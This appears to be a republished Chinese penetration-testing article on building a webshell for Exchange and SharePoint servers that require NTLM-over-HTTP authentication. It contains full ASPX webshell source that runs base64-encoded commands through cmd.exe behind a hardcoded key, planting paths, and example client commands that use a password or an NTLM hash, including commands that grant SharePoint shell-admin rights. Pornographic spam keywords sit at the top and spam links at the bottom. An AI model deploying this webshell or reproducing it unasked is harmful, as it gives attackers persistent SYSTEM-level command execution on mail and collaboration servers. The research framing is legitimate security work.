成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

滲透基礎-支持NTLM Over HTTP協議的Webshell實現

開源
在某些環境下,訪問Web服務器的資源需要通過NTLM Over HTTP協議進行NTLM認證,而我們在這樣的Web服務器使用Webshell時,不僅需要考慮NTLM認證的實現,還需要滿足能夠在命令行下使用。

[[385434]]

 0x00 前言

在某些環境下,訪問Web服務器的資源需要通過NTLM Over HTTP協議進行NTLM認證,而我們在這樣的Web服務器使用Webshell時,不僅需要考慮NTLM認證的實現,還需要滿足能夠在命令行下使用。

本文僅在技術研究的角度介紹一種實現方法,開源代碼,分享腳本開發細節。

0x01 簡介

本文將要介紹以下內容:

  • 設計思路
  •  腳本開發細節
  •  開源代碼

0x02 設計思路

通過NTLM Over HTTP協議進行NTLM認證的Web服務器有很多,這里分別以Exchange和SharePoint為例

(1)Exchange測試環境

文件保存的絕對路徑:

  1. C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx 

對應的URL為:

  1. https://URL/Autodiscover/test.aspx 

(2)SharePoint測試環境

文件保存的絕對路徑:

  1. C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx 

對應的URL為:

  1. http://URL/_layouts/15/test.aspx 

訪問test.aspx時均需要通過NTLM Over HTTP協議進行NTLM認證

這里以一個支持cmd命令的webshell為例進行測試,webshell的地址為:

https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx

如下圖

滲透基礎——支持NTLM Over HTTP協議的Webshell實現

這個webshell需要通過瀏覽器進行操作,首先完成NTLM認證,接著填入正確的Auth Key和要執行的cmd命令。

我們的目標是滿足能夠在命令行下使用,可以以此為模板進行修改,設計思路如下:

(1)execCmd.aspx

接收Form表單請求作為參數,對Auth Key進行驗證

如果驗證失敗,返回空結果

如果驗證成功,執行傳入的cmd命令并返回執行結果

(2)aspxCmdNTLM.py

命令行腳本

首先通過NTLM Over HTTP協議完成NTLM認證,這里需要支持明文和用戶口令hash兩種登錄方式。

通過Form表單請求發送Auth Key和要執行的cmd命令,接收cmd命令的執行結果。

execCmd.aspx和aspxCmdNTLM.py的通信內容作Base64編碼,在程序實現上需要考慮Base64編碼和解碼。

0x03 腳本開發細節

1.execCmd.aspx

使用Page_Load方法接收Form表單請求,其中data1用作Auth Key,data2用作cmd命令。

Base64編碼的實現:

  1. byte[] enbytes = Encoding.Default.GetBytes(string1);string string2 = Convert.ToBase64String(enbytes); 

Base64解碼的實現:

  1. byte[] outbyte = Convert.FromBase64String(string1);string string2 = Encoding.Default.GetString(outbyte); 

完整的實現代碼如下:

  1. < %@ Page Language="C#"% >< %@ Import namespace="System.Diagnostics"% >< %@ Import Namespace="System.IO"% >< script runat="server" >private const string AUTHKEY = "UGFzc3dvcmQxMjM0NTY3ODk";protected void Page_Load(object sender, EventArgs e)    {string data1 = Request.Form["data1"];if (data1 != AUTHKEY){return;}string data2 = Request.Form["data2"];byte[] outbyte = Convert.FromBase64String(data2);string payload = Encoding.Default.GetString(outbyte);string outstr1 = ExecuteCommand(payload);byte[] enbytes = Encoding.Default.GetBytes(outstr1);string outstr2 = Convert.ToBase64String(enbytes);Response.Write(outstr2);}private string ExecuteCommand(string command)    {try{ProcessStartInfo processStartInfo = new ProcessStartInfo();processStartInfo.FileName = "cmd.exe";processStartInfo.Arguments = "/c " + command;processStartInfo.RedirectStandardOutput = true;processStartInfo.UseShellExecute = false;Process process = Process.Start(processStartInfo);using (StreamReader streamReader = process.StandardOutput){string ret = streamReader.ReadToEnd();return ret;}}catch (Exception ex){return ex.ToString();}}< /script > 

2.aspxCmdNTLM.py

NTLM認證的實現可以參考之前的代碼:

https://github.com/3gstudent/Homework-of-Python/blob/master/checkEWS.py

  • 支持明文和用戶口令hash兩種登錄方式
  •  Form表單請求通過POST方式發送
  •  Base64編碼和解碼需要注意字符串的格式

完整的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/aspxCmdNTLM.py

  •  execCmd.aspx需要保存在Web服務器
  •  aspxCmdNTLM.py在命令行下執行,連接execCmd.aspx執行cmd命令并獲得返回結果
  •  aspxCmdNTLM.py支持明文和用戶口令hash兩種登錄方式
  •  對于Exchange服務器,對應的Webshell權限為System

如下圖

滲透基礎——支持NTLM Over HTTP協議的Webshell實現

可以直接調用Exchange PowerShell

命令示例:

  1. python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;;Get-MailboxServer\"" 

結果如下圖

滲透基礎——支持NTLM Over HTTP協議的Webshell實現

對于SharePoint服務器,對應的Webshell權限為用戶權限

如下圖

滲透基礎——支持NTLM Over HTTP協議的Webshell實現

可以嘗試調用SharePointServer PowerShell

命令示例:

  1. python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPSite\"" 

這里需要注意,用戶需要配置為能夠訪問數據庫才能夠執行SharePointServer PowerShell命令

查看可訪問數據庫的用戶列表對應的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPShellAdmin 

添加指定用戶訪問數據庫權限對應的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Add-SPShellAdmin Domain\User1 

刪除指定用戶訪問數據庫權限對應的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Remove-SPShellAdmin Domain\User1 -Confirm:$false 

正常的結果如下圖

滲透基礎——支持NTLM Over HTTP協議的Webshell實現

0x04 小結

本文以Exchange和SharePoint為例,介紹了支持NTLM Over HTTP協議的Webshell實現思路,開源代碼,分享腳本開發細節。

本文為 3gstudent 原創稿件,授權嘶吼獨家發布,如若轉載,請注明原文地址。

 

責任編輯:姜華 來源: 嘶吼網
相關推薦

2020-05-26 14:18:41

RPC協議NTLM

2010-05-11 20:17:23

NTLM認證協議

2021-03-03 10:13:23

IMAP協議讀取郵件滲透基礎

2014-06-05 10:21:29

HTTP

2020-06-17 21:39:11

HTTP協議服務器

2012-11-08 14:28:16

2016-09-09 01:14:17

2010-06-29 13:24:26

HTTP協議

2010-06-29 13:35:39

HTTP協議

2019-04-08 15:11:12

HTTP協議Web

2010-06-08 10:36:14

HTTP協議基礎概念

2014-08-13 10:39:19

2012-07-16 09:58:15

SPDY協議HTTP

2010-06-29 13:18:31

HTTP協議

2014-10-22 09:36:41

TCPIP

2019-06-12 16:16:58

微軟漏洞NTLM

2015-10-09 15:07:02

HTTP網絡協議

2017-05-26 10:35:13

前端HTTP

2010-08-03 22:09:16

2020-11-16 16:13:06

網絡安全互聯網滲透測試
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 色婷婷av777 av免费网站在线 | 国产精品观看 | 久久精品97 | 国产成在线观看免费视频 | 亚洲一区二区三区在线 | 夜夜艹 | 北条麻妃国产九九九精品小说 | 九九在线视频 | 久在线精品视频 | 9999精品视频| 狠狠爱一区二区三区 | 男女视频在线免费观看 | 久久久成人免费视频 | 91亚洲免费 | 91视频一区二区三区 | 天天拍夜夜爽 | 国产精品99久久久久久大便 | 欧美日韩一区二区在线观看 | 瑟瑟视频在线看 | 欧美日韩不卡 | 国产欧美日韩综合精品一区二区 | 久久激情五月丁香伊人 | 欧美一级三级在线观看 | 国产精品欧美一区二区三区 | 成人免费毛片在线观看 | 亚洲精品小视频在线观看 | 免费视频一区 | 久久久久91| 嫩草研究影院 | 99色播| 蜜臀网| 99re在线视频 | 在线国产中文字幕 | 天天曰夜夜| 免费观看黄色一级片 | 日韩在线小视频 | 亚洲成人免费 | 国产乱码久久久久久 | 999国产视频 | 91大神xh98xh系列全部 | 国产精品3区 |